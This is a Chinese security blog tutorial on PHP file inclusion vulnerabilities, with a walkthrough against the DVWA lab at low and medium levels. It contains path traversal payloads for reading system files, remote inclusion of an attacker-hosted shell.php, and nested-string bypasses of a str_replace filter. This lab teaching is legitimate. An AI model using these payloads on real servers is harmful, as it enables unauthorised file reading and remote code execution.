Web安全——文件包含漏洞

一、文件包含漏洞

原理

    文件包含漏洞是“代码注入”的一种。其原理就是注入一段用户能控制的脚本或代码,并让服务端执行。“代码注入”的典型代表就是文件包含。文件包含漏洞可能出现在JSP、PHP、ASP等语言中,原理都是一样的。    

文件包含漏洞进行攻击,必须满足以下两个条件:

  1.  Web应用采用include()等文件包含函数通过动态变量的方式引入需要包含的文件;
  2. 用户能够控制该动态变量。

        在PHP中,有四个用于包含文件的函数,当使用这些函数包含文件时,文件中包含的PHP代码会被执行。下面对它们之间的区别进行解释:

  • include(): 当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行。
  • include_once(): 功能和include()相同,区别在于当重复调用同一文件时,程序只调用一次。
  • require(): 1.require()与include()的区别在于require()执行如果发生错误,函数会输出错误信息,并终止脚本的运行。2.使用require()函数包含文件时,只要程序一执行,立即调用文件,而include()只有程序执行到该函数时才调用。
  • require_once(): 它的功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次。

分类

  1. 本地文件包含LFI(Local File Inclusion)当被包含的文件在服务器本地时,就形成本地文件包含。
  2. 远程文件包含RFI(Remote File Inclusion)当被包含的文件在第三方服务器时,叫做远程文件包含。

二、攻击实战

一、low级别

基础环境配置(low)

靶场:DVWA

安全等级:Low

界面:文件包含攻击

 依次点击页面,我们发现可以读出不同的相关系统信息,侧面说明这三个文件含有读取相关系统信息的脚本代码。并且在URL显示了http://192.168.146.50/DVWA/vulnerabilities/fi/?page=  后就是被包含的文件名

通过点击file3,我们发现当前Web服务器使用的Windows,我们将URL中的文件名替换为: 

C:/Windows/System32/drivers/etc/hosts

可以通过该方法进行访问hosts文件中的内容

使用相对路径../../phpinfo.php来替换URL中的包含文件名,可以执行DVWA程序自带的phpinfo信息(../代表当层目录的上层目录)。当前目录是/DVWA/vulnerabilities/fi,返回两层就可以回到DVWA。因此../../phpinfo.php代表/DVWA/phpinfo.php

 在kali环境下,我们搭建一个Web服务,演示的地址为:192.168.146.110,在Web根目录下写入一个shell.php文件。用来显示PHPINFO。

1.进行/var/www/html

2. 开启apache服务 sudo service apache2 start 

3.编写shell服务,里面内容:<? php phpinfo();?>

 PHP默认不允许跨域引用URL,需要在PHP设置中开启。按照图片步骤:

成功访问到phpinfo() 

二、medium级别

 环境配置(medium)

靶场:DVWA

安全级别:medium

攻击界面:文件包含攻击

 依次点击页面,我们发现可以读出不同的相关系统信息,侧面说明这三个文件含有读取相关系统信息的脚本代码。并且在URL显示了http://192.168.146.50/DVWA/vulnerabilities/fi/?page=  后就是被包含的文件名

 观察源代码,发现使用str_replace()函数把http:// 、https:// 、..\ 替换为了空值,防止远程文件包含和相对路径的包含,但是str_replace 函数不安全,只做一次替换,但是我们在http:中再嵌套一个http://则可以绕过机制;另外,并没有没有绝对的文件包含进行防护。

使用绝对路径来进行文件包含,不受任何影响

 使用绝对路径进行文件包含,需要在../中多嵌套一个../,在URL中输入包含的文件名为..././..././phpinfo.php

使用远程文件包含,需要在http://中多嵌套一个http://;在URL中输入包含的文件名http://tp://192.168.146.110/shell.php

 

 

  • 1
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

以我之名,换我未来

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值